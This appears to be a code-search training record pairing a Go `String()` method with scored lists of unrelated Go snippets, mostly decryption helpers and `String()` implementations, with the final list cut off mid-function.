*CryptoEnvelope, userKey Key, fn DecryptFn,\n\t\thashFn func() hash.Hash) ([]byte, error) {\n\n\tif env == nil {\n\t\treturn nil, fmt.Errorf(\"nil crypto envelope\")\n\t}\n\tif env.Algorithm != CipherAlgo_AES256CTR {\n\t\treturn nil, fmt.Errorf(\"unsupported cipher algorithm\")\n\t}\n\tconst cipherBlockSize = aes.BlockSize\n\n\t// Verify the HMAC.\n\tsig, err := Sign(hmac.New(hashFn, userKey.HMAC()),\n\t\t[]byte(strconv.Itoa(int(env.Algorithm))), env.Iv, env.Key, env.Data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !hmac.Equal(sig, env.Hmac) {\n\t\treturn nil, fmt.Errorf(\"invalid signature, the data may have been tempered with\")\n\t}\n\n\t// Decrypt the cipher key with the user key.\n\tkeyIV := env.Key[:cipherBlockSize]\n\tkeyCipher := env.Key[cipherBlockSize:]\n\tkey, err := fn(userKey.Encryption(), keyIV, keyCipher)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Decrypt the data.\n\tplaintext, err := fn(key, env.Iv, env.Data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn plaintext, nil\n}", "func Decrypt(key string, cipherText string, nonce string) []byte {\n\tkeyInBytes, err := hex.DecodeString(key)\n\tPanicOnError(err)\n\tdata, err := hex.DecodeString(cipherText)\n\tPanicOnError(err)\n\tblock, err := aes.NewCipher(keyInBytes)\n\tPanicOnError(err)\n\tgcm, err := cipher.NewGCM(block)\n\tPanicOnError(err)\n\tnonceInBytes, err := hex.DecodeString(nonce[0 : 2*gcm.NonceSize()])\n\tPanicOnError(err)\n\tdata, err = gcm.Open(nil, nonceInBytes, data, nil)\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn data\n}", "func TestEncryptionDecryptByPassPhraseWithUnmatchedPass(t *testing.T) {\n\tpassPhrase := \"123\"\n\tplaintext := []byte{1, 2, 3, 4}\n\tciphertextStr, _ := encryptByPassPhrase(passPhrase, plaintext)\n\n\tpassPhrase2 := \"1234\"\n\tplaintext2, err := decryptByPassPhrase(passPhrase2, ciphertextStr)\n\n\tassert.NotEqual(t, plaintext, plaintext2)\n\tassert.Equal(t, nil, err)\n}", "func VaultDecryptor(path string) CryptoHelper {\n\treturn func(ciphertext []byte) ([]byte, error) {\n\t\tcli, err := api.NewClient(nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdata := make(map[string]interface{})\n\t\tdata[\"cyphertext\"] = base64.StdEncoding.EncodeToString(ciphertext)\n\n\t\tdecryptPath := fmt.Sprintf(\"%s/decrypt\", path)\n\n\t\tsecret, err := cli.Logical().Write(decryptPath, data)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif secret == nil {\n\t\t\treturn nil, fmt.Errorf(\"problem decrypting\")\n\t\t}\n\t\tplaintext, err := base64.StdEncoding.DecodeString(secret.Data[\"plaintext\"].(string))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn plaintext, nil\n\t}\n}", "func (c *Cipher) Decrypt(encoded string, context map[string]*string) (string, error) {\n\n\tencrypted, err := decode(encoded)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tkey, err := kms.DecryptDataKey(c.Client, encrypted.keyCiphertext, context)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tplaintext, err := decryptBytes(key.Plaintext, encrypted.ciphertext)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(plaintext), nil\n\n}", "func (o *OpenSSL) DecryptString(passphrase, encryptedBase64String string) ([]byte, error) {\n\tdata, err := base64.StdEncoding.DecodeString(encryptedBase64String)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(data) < aes.BlockSize {\n\t\treturn nil, fmt.Errorf(\"Data is too short\")\n\t}\n\tsaltHeader := data[:aes.BlockSize]\n\tif string(saltHeader[:8]) != o.openSSLSaltHeader {\n\t\treturn nil, fmt.Errorf(\"Does not appear to have been encrypted with OpenSSL, salt header missing.\")\n\t}\n\tsalt := saltHeader[8:]\n\tcreds, err := o.extractOpenSSLCreds([]byte(passphrase), salt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn o.decrypt(creds.key, creds.iv, data)\n}", "func (n *runtimeJavascriptNakamaModule) aesDecrypt(keySize int, input, key string) (string, error) {\n\tif len(key) != keySize {\n\t\treturn \"\", errors.New(fmt.Sprintf(\"expects key %v bytes long\", keySize))\n\t}\n\n\tblock, err := aes.NewCipher([]byte(key))\n\tif err != nil {\n\t\treturn \"\", errors.New(fmt.Sprintf(\"error creating cipher block: %v\", err.Error()))\n\t}\n\n\tdecodedtText, err := base64.StdEncoding.DecodeString(input)\n\tif err != nil {\n\t\treturn \"\", errors.New(fmt.Sprintf(\"error decoding cipher text: %v\", err.Error()))\n\t}\n\tcipherText := decodedtText\n\tiv := cipherText[:aes.BlockSize]\n\tcipherText = cipherText[aes.BlockSize:]\n\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\tstream.XORKeyStream(cipherText, cipherText)\n\n\treturn string(cipherText), nil\n}", "func decrypt(value []byte, key Key) ([]byte, error) {\n\tenc, err := b64.StdEncoding.DecodeString(string(value))\n\tif err != nil {\n\t\treturn value, err\n\t}\n\n\tnsize := key.cipherObj.NonceSize()\n\tnonce, ciphertext := enc[:nsize], enc[nsize:]\n\n\treturn key.cipherObj.Open(nil, nonce, ciphertext, nil)\n}", "func Decrypt(cypherBase64 []byte, nonceBase64 string, key []byte) ([]byte, error) {\n\tvar plaintext []byte\n\n\tnonceText := make([]byte, base64.StdEncoding.DecodedLen(len(nonceBase64)))\n\t_, err := base64.StdEncoding.Decode(nonceText, []byte(nonceBase64))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcypherText := make([]byte, base64.StdEncoding.DecodedLen(len(cypherBase64)))\n\tcypherLen, err := base64.StdEncoding.Decode(cypherText, cypherBase64)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnonceArray := &[nonceLen]byte{}\n\tcopy(nonceArray[:], nonceText[:nonceLen])\n\n\tencKey := &[keyLen]byte{}\n\tcopy(encKey[:], key)\n\n\tplaintext, ok := secretbox.Open(plaintext, cypherText[:cypherLen], nonceArray, encKey)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"Error decrypting\")\n\t}\n\treturn plaintext, nil\n}", "func (p *Polybius) Decipher(text string) string {\n\tchars := []rune(strings.ToUpper(text))\n\tres := \"\"\n\tfor i := 0; i < len(chars); i += 2 {\n\t\tres += p.decipherPair(chars[i : i+2])\n\t}\n\treturn res\n}", "func AesCfbDecrypt(data string, passphrase string) (string, error) {\n\t// ensure data has value\n\tif len(data) == 0 {\n\t\treturn \"\", errors.New(\"Data to Decrypt is Required\")\n\t}\n\n\t// ensure passphrase is 32 bytes\n\tif len(passphrase) < 32 {\n\t\treturn \"\", errors.New(\"Passphrase Must Be 32 Bytes\")\n\t}\n\n\t// cut the passphrase to 32 bytes only\n\tpassphrase = util.Left(passphrase, 32)\n\n\t// convert data and passphrase into byte array\n\ttext, err := util.HexToByte(data)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tkey := []byte(passphrase)\n\n\t// create aes cipher\n\tc, err1 := aes.NewCipher(key)\n\n\t// on error stop\n\tif err1 != nil {\n\t\treturn \"\", err1\n\t}\n\n\t// ensure cipher block size appropriate\n\tif len(text) < aes.BlockSize {\n\t\treturn \"\", errors.New(\"Cipher Text Block Size Too Short\")\n\t}\n\n\t// iv needs to be unique, doesn't have to secured,\n\t// it's common to put iv at the beginning of the cipher text\n\tiv := text[:aes.BlockSize]\n\ttext = text[aes.BlockSize:]\n\n\t// decrypt\n\tstream := cipher.NewCFBDecrypter(c, iv)\n\n\t// XORKeyStream can work in-place if two arguments are the same\n\tstream.XORKeyStream(text, text)\n\n\t// return decrypted data\n\treturn string(text), nil\n}", "func (v nullVault) EncryptText(text string) (string, error) {\n\treturn text, nil\n}", "func (decryptor *Decryptor) Decrypt(ciphertext *Ciphertext) *Plaintext {\n\tplaintext := NewPlaintext(decryptor.ctx.N, decryptor.ctx.Q, decryptor.ctx.NttParams)\n\tplaintext.Value.MulCoeffs(ciphertext.value[1], *decryptor.secretkey)\n\tplaintext.Value.Add(plaintext.Value, ciphertext.value[0])\n\tplaintext.Value.Poly.InverseNTT()\n\tcenter(plaintext.Value)\n\tplaintext.Value.MulScalar(plaintext.Value, decryptor.ctx.T)\n\tplaintext.Value.DivRound(plaintext.Value, decryptor.ctx.Q)\n\tplaintext.Value.Mod(plaintext.Value, decryptor.ctx.T)\n\treturn plaintext\n}", "func (c AESCBC) Decrypt(cipherText []byte) []byte {\n\t// CBC mode always works in whole blocks.\n\tif len(cipherText)%aes.BlockSize != 0 {\n\t\tpanic(\"ciphertext is not a multiple of the block size\")\n\t}\n\n\tdecryptedText := make([]byte, len(cipherText))\n\n\tmode := cipher.NewCBCDecrypter(c.block, c.iv)\n\n\tfor i := 0; i < len(cipherText)/aes.BlockSize; i++ {\n\t\tmode.CryptBlocks(decryptedText[i*aes.BlockSize:(i+1)*aes.BlockSize], cipherText[i*aes.BlockSize:(i+1)*aes.BlockSize])\n\t}\n\treturn decryptedText\n}", "func (d Decryptor) Decrypt(bs []byte) ([]byte, error) {\n\tswitch d.Algorithm {\n\tcase \"\", AlgoPBEWithMD5AndDES:\n\t\tif d.Password == \"\" {\n\t\t\treturn nil, ErrEmptyPassword\n\t\t}\n\t\treturn DecryptJasypt(bs, d.Password)\n\t}\n\treturn nil, fmt.Errorf(\"unknown jasypt algorithm\")\n}", "func Decrypt(encryptedKey []byte, data string) ([]byte, error) {\n\tblock, err := aes.NewCipher(encryptedKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tciphertext, err := base64.StdEncoding.DecodeString(data)\n\tiv := encryptedKey[:aes.BlockSize]\n\tblockMode := cipher.NewCBCDecrypter(block, iv)\n\tdecryptedData := make([]byte, len(data))\n\tblockMode.CryptBlocks(decryptedData, ciphertext)\n\tmsg := unpad(decryptedData)\n\treturn msg[block.BlockSize():], err\n}", "func decrypt(c []byte, k key) (msg []byte, err error) {\n\t// split the nonce and the cipher\n\tnonce, c, err := splitNonceCipher(c)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// decrypt the message\n\tmsg, ok := box.OpenAfterPrecomputation(msg, c, nonce, k)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"Cannot decrypt, malformed message\")\n\t}\n\treturn msg, nil\n}", "func decrypt(encrypted []byte, key string) (string, error) {\n\t_, size, err := iv(cipherRijndael128, modeCBC)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ten := string(encrypted)\n\tif len(en) <= size {\n\t\treturn \"\", errors.New(\"bad attempt at decryption\")\n\t}\n\n\tiv := en[0:size]\n\tif len(iv) != size {\n\t\treturn \"\", fmt.Errorf(\"encrypted value iv length incompatible match to cipher type: received %d\", len(iv))\n\t}\n\n\td, err := mcrypt.Decrypt(parseKey(key), []byte(iv), []byte(en[size:]), cipherRijndael128, modeCBC)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(d), nil\n}", "func decrypt(password []byte, encrypted []byte) ([]byte, error) {\n\tsalt := encrypted[:SaltBytes]\n\tencrypted = encrypted[SaltBytes:]\n\tkey := makeKey(password, salt)\n\n\tblock, err := aes.NewCipher(key)\n\n\tif err != nil {\n\t\treturn nil, err // @todo FailedToDecrypt\n\t}\n\n\tif len(encrypted) < aes.BlockSize {\n\t\t// Cipher is too short\n\t\treturn nil, err // @todo FailedToDecrypt\n\t}\n\n\tiv := encrypted[:aes.BlockSize]\n\tencrypted = encrypted[aes.BlockSize:]\n\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\n\tstream.XORKeyStream(encrypted, encrypted)\n\n\treturn encrypted, nil\n}", "func RsaDecrypt(ciphertext []byte, dir string) (string, error) {\n\tlabel := []byte(\"orders\")\n\n\tpemBytes, err := ReadPemFile(dir)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tprivate, err := x509.ParsePKCS1PrivateKey(pemBytes)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// crypto/rand.Reader is a good source of entropy for blinding the RSA\n\t// operation.\n\trng := rand.Reader\n\n\tplaintext, err := rsa.DecryptOAEP(sha256.New(), rng, private /*.(*rsa.PrivateKey)*/, ciphertext, label)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(plaintext), nil\n}", "func decryptAES(keyByte []byte, cipherText string, additionalData string) string {\n\n\ts := \"START decryptAES() - AES-256 GCM (Galois/Counter Mode) mode decryption\"\n\tlog.Debug(\"WALLET: GUTS \" + s)\n\n\tcipherTextByte, _ := hex.DecodeString(cipherText)\n\tadditionalDataByte := []byte(additionalData)\n\n\t// GET CIPHER BLOCK USING KEY\n\tblock, err := aes.NewCipher(keyByte)\n\tcheckErr(err)\n\n\t// GET GCM BLOCK\n\tgcm, err := cipher.NewGCM(block)\n\tcheckErr(err)\n\n\t// EXTRACT NONCE FROM cipherTextByte\n\t// Because I put it there\n\tnonceSize := gcm.NonceSize()\n\tnonce, cipherTextByte := cipherTextByte[:nonceSize], cipherTextByte[nonceSize:]\n\n\t// DECRYPT DATA\n\tplainTextByte, err := gcm.Open(nil, nonce, cipherTextByte, additionalDataByte)\n\tcheckErr(err)\n\n\ts = \"END decryptAES() - AES-256 GCM (Galois/Counter Mode) mode decryption\"\n\tlog.Debug(\"WALLET: GUTS \" + s)\n\n\t// RETURN STRING\n\tplainText := string(plainTextByte[:])\n\treturn plainText\n\n}", "func (v passPhraseVault) EncryptText(text string) (string, error) {\n\treturn EncryptText(text, v.passPhrase)\n}", "func Encrypt(text string) (string, error) {\n\tencKey := os.Getenv(\"ENC_KEY\")\n\tencIv := os.Getenv(\"ENC_IV\")\n\tkey := []byte(encKey)\n\tiv := []byte(encIv)\n\tplainText := []byte(text)\n\tplainText, err := pad(plainText, aes.BlockSize)\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(`plainText: \"%s\" has error`, plainText)\n\t}\n\tif len(plainText)%aes.BlockSize != 0 {\n\t\terr := fmt.Errorf(`plainText: \"%s\" has the wrong block size`, plainText)\n\t\treturn \"\", err\n\t}\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcipherText := make([]byte, len(plainText))\n\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(cipherText, plainText)\n\n\treturn base64.StdEncoding.EncodeToString(cipherText), nil\n}", "func Decrypt(crypt []byte, key []byte) (out []byte, err error) {\n\tc, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tgcm, err := cipher.NewGCM(c)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tnonceSize := gcm.NonceSize()\n\tif len(crypt) < nonceSize {\n\t\terr = fmt.Errorf(\"crypt text too short\")\n\t\treturn\n\t}\n\n\tnonce, crypt := crypt[:nonceSize], crypt[nonceSize:]\n\tout, err = gcm.Open(nil, nonce, crypt, nil)\n\n\treturn\n}", "func TripleEcbDesDecrypt(crypted, key []byte) ([]byte, error) {\n\ttkey := make([]byte, 24, 24)\n\tcopy(tkey, key)\n\tk1 := tkey[:8]\n\tk2 := tkey[8:16]\n\tk3 := tkey[16:]\n\tbuf1, err := decrypt(crypted, k3)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbuf2, err := encrypt(buf1, k2)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tout, err := decrypt(buf2, k1)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tout = PKCS5Unpadding(out)\n\treturn out, nil\n}", "func DecryptJasypt(encrypted []byte, password string) ([]byte, error) {\n\tif len(encrypted) < des.BlockSize {\n\t\treturn nil, fmt.Errorf(\"Invalid encrypted text. Text length than block size.\")\n\t}\n\n\tsalt := encrypted[:des.BlockSize]\n\tct := encrypted[des.BlockSize:]\n\n\tkey, err := PBKDF1MD5([]byte(password), salt, 1000, des.BlockSize*2)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tiv := key[des.BlockSize:]\n\tkey = key[:des.BlockSize]\n\n\tb, err := des.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdst := make([]byte, len(ct))\n\tbm := cipher.NewCBCDecrypter(b, iv)\n\tbm.CryptBlocks(dst, ct)\n\n\t// Remove any padding\n\tpad := int(dst[len(dst)-1])\n\tdst = dst[:len(dst)-pad]\n\n\treturn dst, nil\n}", "func (e *cbcPKCS5Padding) Decrypt(base64Key, base64CipherText string) (string, error) {\n\tkey, err := base64.StdEncoding.DecodeString(base64Key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcipherText, err := base64.StdEncoding.DecodeString(base64CipherText)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdecryptedData, err := e.decrypt(key, cipherText)\n\treturn string(decryptedData), err\n}", "func DecryptByBlockSecretKey(key []byte, cipherText []byte) string {\n\tc, err := aes.NewCipher(key); if err != nil {\n\t\tfmt.Println(err.Error())\n\t\treturn \"\"\n\t}\n\n\tplainText := make([]byte, aes.BlockSize)\n\tc.Decrypt(plainText, cipherText)\n\n\treturn string(plainText)\n}", "func (c client) Decrypt(secret Secret) ([]byte, error) {\n\tresp, err := c.cloudkmsClient.Projects.Locations.KeyRings.CryptoKeys.Decrypt(c.cryptoKey, &cloudkms.DecryptRequest{\n\t\tCiphertext: secret.Ciphertext,\n\t}).Do()\n\tif err != nil {\n\t\treturn nil, go_errors.Wrap(err, \"Failed to decrypt ciphertext\")\n\t}\n\tbuf, err := base64.StdEncoding.DecodeString(resp.Plaintext)\n\tif err != nil {\n\t\treturn nil, go_errors.Wrap(err, \"Failed decoding plaintext as base64\")\n\t}\n\treturn buf, nil\n}" ]
[ "0.7234699", "0.69137406", "0.6902549", "0.65387285", "0.6525023", "0.6429595", "0.640347", "0.63556576", "0.6336738", "0.63160604", "0.62811875", "0.6265322", "0.6233716", "0.6214538", "0.6213949", "0.6190842", "0.61730665", "0.6155986", "0.61488086", "0.61423695", "0.60813326", "0.6008489", "0.5984838", "0.5964883", "0.5931361", "0.59183156", "0.58994305", "0.58816403", "0.5873153", "0.58708847", "0.585562", "0.5851509", "0.584902", "0.58404875", "0.58364487", "0.58355796", "0.58183485", "0.5802246", "0.5787834", "0.57867306", "0.57832485", "0.57764053", "0.5770609", "0.5764476", "0.5761331", "0.5761207", "0.5757272", "0.5719808", "0.570569", "0.5703929", "0.56892407", "0.56780016", "0.56575847", "0.56535995", "0.5651316", "0.5640907", "0.5639027", "0.56352973", "0.56328577", "0.5619185", "0.56189775", "0.5618766", "0.5608532", "0.56084585", "0.5591156", "0.5571703", "0.5565579", "0.5556451", "0.5535665", "0.55286205", "0.5528234", "0.55242777", "0.55235726", "0.55197006", "0.5515323", "0.55135775", "0.5507812", "0.5503674", "0.5501965", "0.5489938", "0.5486462", "0.54796904", "0.54789513", "0.5475826", "0.5469153", "0.5468889", "0.54670185", "0.546094", "0.545965", "0.54514074", "0.54485303", "0.54483366", "0.5446021", "0.54295605", "0.54293096", "0.5421588", "0.5419902", "0.5419423", "0.5413164", "0.54111433" ]
0.7994236
0
String satisfies the stringer interface.
func (v envVault) String() string { return fmt.Sprintf("env://%s", v.envVarName) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (s simpleString) String() string { return string(s) }", "func (self StringEqualer) String() string {\n\treturn fmt.Sprintf(\"%s\", self.S)\n}", "func (e Str) String() string {\n\treturn fmt.Sprintf(\"%v\", e)\n}", "func (ms MyString) String() string {\n\treturn fmt.Sprintf(\"%s (%d)\", ms.str, ms.age)\n}", "func (s *S) String() string {\n\treturn fmt.Sprintf(\"%s\", s) // Sprintf will call s.String()\n}", "func (s *String) String() string {\n\treturn fmt.Sprintf(\"%d, %s\", s.Length, s.Get())\n}", "func (l settableString) String() string { return l.s }", "func (s *String) String() string {\n\tj, err := json.Marshal(string(s.s))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn string(j)\n}", "func (sf *String) String() string {\n\treturn sf.Value\n}", "func (v String) String() string {\n\treturn v.v\n}", "func (sk StringKey) String() string {\n\treturn fmt.Sprintf(\"StringKey{%s, str:%q}\", sk.Base.String(), sk.str)\n}", "func (s *StringStep) String() string {\n\treturn string(*s)\n}", "func String(v interface{}) string {\n\treturn StringWithOptions(v, nil)\n}", "func (s *Str) String() string {\n\treturn s.val\n}", "func (n Name) String() string {\n\treturn string(n)\n}", "func (n Name) String() string {\n\treturn string(n)\n}", "func String(s string, err error) string {\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\treturn s\n}", "func (s *LenString) String() string {\n\tif s == nil {\n\t\treturn \"<nil>\"\n\t}\n\treturn s.str\n}", "func (s *strslice) String() string {\n\treturn fmt.Sprintf(\"%s\", *s)\n}", "func (s NullString) String() string {\n\tif !s.s.Valid {\n\t\treturn \"\"\n\t}\n\treturn s.s.String\n}", "func (s StringReference) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (g Name) String() string {\n\treturn string(g)\n}", "func (s StringEntry) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (str JString) String() string {\n\ts, err := str.StringRaw()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn s\n}", "func (r StringBoundedStrictly) String() string { return StringBounded(r).String() }", "func String(v interface{}) string {\n\treturn v.(string)\n}", "func (s Sign) Str() string { return string(s[:]) }", "func (p person) String() string {\n\treturn fmt.Sprintf(\"The number is %d, and the name is %s\", p.num, p.name)\n}", "func (jz *Jzon) String() (s string, err error) {\n\tif jz.Type != JzTypeStr {\n\t\treturn s, expectTypeOf(JzTypeStr, jz.Type)\n\t}\n\n\treturn jz.data.(string), nil\n}", "func String(s string, width uint) string {\n\treturn StringWithTail(s, width, \"\")\n}", "func (s Standard) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s *StringValue) String() string {\n\treturn fmt.Sprintf(\"%s\", *s)\n}", "func (t Transformer) String(s string) string {\n\ts, _, err := transform.String(t, s)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn s\n}", "func (s *OptionalString) String() string {\n\treturn s.Value\n}", "func (n name) String() string {\n\treturn fmt.Sprintf(n.Name)\n}", "func (s CreateFHIRDatastoreOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s *fakeString) String() string {\n\treturn s.content\n}", "func (s String) ToString() string {\n\treturn string(s)\n}", "func (enc *simpleEncoding) String() string {\n\treturn \"simpleEncoding(\" + enc.baseName + \")\"\n}", "func (s *Segment) String() string {\n\treturn fmt.Sprintf(\"%p = %s\", s, s.SimpleString())\n}", "func (n SStr) ToStr() string {\n\treturn string(n)\n}", "func String(length int) string {\n\treturn StringWithCharset(length, charset)\n}", "func (s Subject) String() string {\n\treturn fmt.Sprintf(\"%s, %s, %s\", s.AuthenticationInfo, s.AuthorizationInfo, s.Session)\n}", "func String(i I) string {\n\tswitch v := i.(type) {\n\tcase nil:\n\t\treturn \"\"\n\tcase bool:\n\t\treturn StringBool(v)\n\tcase Bytes:\n\t\treturn StringBytes(v)\n\tcase Dict:\n\t\treturn StringDict(v)\n\tcase error:\n\t\treturn `error: \"` + v.Error() + `\"`\n\tcase float64:\n\t\treturn StringF64(v)\n\tcase int:\n\t\treturn StringInt(v)\n\tcase uint:\n\t\treturn StringUint(v)\n\tcase int64:\n\t\treturn StringI64(v)\n\tcase uint64:\n\t\treturn StringUI64(v)\n\tcase Map:\n\t\treturn StringMap(v)\n\tcase Slice:\n\t\treturn StringSlice(v)\n\tcase string:\n\t\treturn v\n\tcase Stringer:\n\t\treturn v.String()\n\tdefault:\n\t\treturn fmt.Sprint(i)\n\t}\n}", "func (c identifier) String() string {\n\treturn string(c)\n}", "func String(length int) string {\n\treturn StringWithCharset(length, Charset)\n}", "func (s SequencerData) String() string {\n\treturn fmt.Sprintf(\"%T len %v\", s, s.Len())\n}", "func (s DescribeFHIRDatastoreOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (id UUID) String() string {\n\tvar buf [StringMaxLen]byte\n\tn := id.EncodeString(buf[:])\n\treturn string(buf[n:])\n}", "func (e *Engine) String(s string) Renderer {\n\treturn String(s)\n}", "func String(str string) Val { return Val{t: bsontype.String}.writestring(str) }", "func (s DeleteTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s DeleteFHIRDatastoreOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s CreateTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s UseCase) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (n NamespacedName) String() string {\n\treturn fmt.Sprintf(\"%s%c%s\", n.Namespace, Separator, n.Name)\n}", "func (p stringProperty) String() string {\n\tv, err := p.Value()\n\tif err != nil {\n\t\treturn fmt.Sprintf(\"invalid %v: %v\", p.name, err)\n\t}\n\treturn fmt.Sprintf(\"%v=%v\", p.name, v)\n}", "func (p *Profile) String(s string) (string, error) {\n\treturn processString(p, s, false)\n}", "func (s DeleteRoomOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s DeleteComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (p *PN) String() string {\n\t// find the right slice length first to efficiently allot a []string\n\tsegs := make([]string, 0, p.sliceReq())\n\treturn strings.Join(p.string(\"\", segs), \"\")\n}", "func (r *Rope) String() string {\n\treturn r.Substr(0, r.runes)\n}", "func (s ImportComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s ReEncryptOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (js jsonString) string() (s string, err error) {\n\terr = json.Unmarshal(js.bytes(), &s)\n\treturn s, err\n}", "func (ctx *Context) String(str string) {\n\tfmt.Fprintf(ctx.writer, \"%s\", str)\n}", "func (s *fakeString) Stringer() string {\n\treturn s.content\n}", "func (s PlainTextMessage) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (v *IntString) String() string {\n\treturn string(*v)\n}", "func (ps *PrjnStru) String() string {\n\tstr := \"\"\n\tif ps.Recv == nil {\n\t\tstr += \"recv=nil; \"\n\t} else {\n\t\tstr += ps.Recv.Name() + \" <- \"\n\t}\n\tif ps.Send == nil {\n\t\tstr += \"send=nil\"\n\t} else {\n\t\tstr += ps.Send.Name()\n\t}\n\tif ps.Pat == nil {\n\t\tstr += \" Pat=nil\"\n\t} else {\n\t\tstr += \" Pat=\" + ps.Pat.Name()\n\t}\n\treturn str\n}", "func (id ID) String() string {\n\ttext := make([]byte, encodedLen)\n\tencode(text, id[:])\n\treturn *(*string)(unsafe.Pointer(&text))\n}", "func (s ResolveRoomOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (id SoldierID) String() string {\n\treturn fmt.Sprintf(\"%s (%s)\", id.Name, id.Faction)\n}", "func (g *Generic) String() string {\n\tparamStr := make([]string, len(g.Params))\n\tfor i, pr := range g.Params {\n\t\tparamStr[i] = pr.String()\n\t}\n\n\treturn fmt.Sprintf(\"{Header: %s, Params: %s}\",\n\t\tg.Header.String(),\n\t\tparamStr,\n\t)\n}", "func (sr *StringResult) String() (string, error) {\n\treturn redis.String(sr.val, nil)\n}", "func (m Interface) String() string {\n\treturn StringRemoveGoPath(m.Name)\n}", "func (i *IE) String() string {\n\tif i == nil {\n\t\treturn \"nil\"\n\t}\n\treturn fmt.Sprintf(\"{%s: {Type: %d, Length: %d, Payload: %#v}}\",\n\t\ti.Name(),\n\t\ti.Type,\n\t\ti.Length,\n\t\ti.Payload,\n\t)\n}", "func (s DescribeTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s VerbatimString) String() string { return _verbatimString(s).String() }", "func (s Component) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (chars *Chars) String() string {\n\treturn fmt.Sprintf(\"Chars{slice: []byte(%q), inBytes: %v, trimLengthKnown: %v, trimLength: %d, Index: %d}\", chars.slice, chars.inBytes, chars.trimLengthKnown, chars.trimLength, chars.Index)\n}", "func (s TrialComponent) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s CreateComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s GetComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (sid *Shortid) String() string {\n\treturn fmt.Sprintf(\"Shortid(worker=%v, epoch=%v, abc=%v)\", sid.worker, sid.epoch, sid.abc)\n}", "func (s SafeID) String() string {\n\treturn platform.ID(s).String()\n}", "func (s UpdateTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (b *Basic) String() string {\n\tb.mux.RLock()\n\tdefer b.mux.RUnlock()\n\n\tif b.name != \"\" {\n\t\treturn b.name\n\t}\n\treturn fmt.Sprintf(\"%T\", b.target)\n}", "func (s AssociateTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s StringFilter) String() string {\n\treturn awsutil.Prettify(s)\n}", "func String(value interface{}) (string, error) {\n\tif value == nil {\n\t\treturn \"\", nil\n\t}\n\tswitch value.(type) {\n\tcase bool:\n\t\tif value.(bool) {\n\t\t\treturn \"true\", nil\n\t\t} else {\n\t\t\treturn \"false\", nil\n\t\t}\n\tcase string:\n\t\treturn value.(string), nil\n\tcase *big.Rat:\n\t\treturn strings.TrimSuffix(strings.TrimRight(value.(*big.Rat).FloatString(20), \"0\"), \".\"), nil\n\tcase time.Time:\n\t\tt := value.(time.Time)\n\t\tif t.Location().String() == \"DATE\" {\n\t\t\treturn t.Format(FORMAT_DATE), 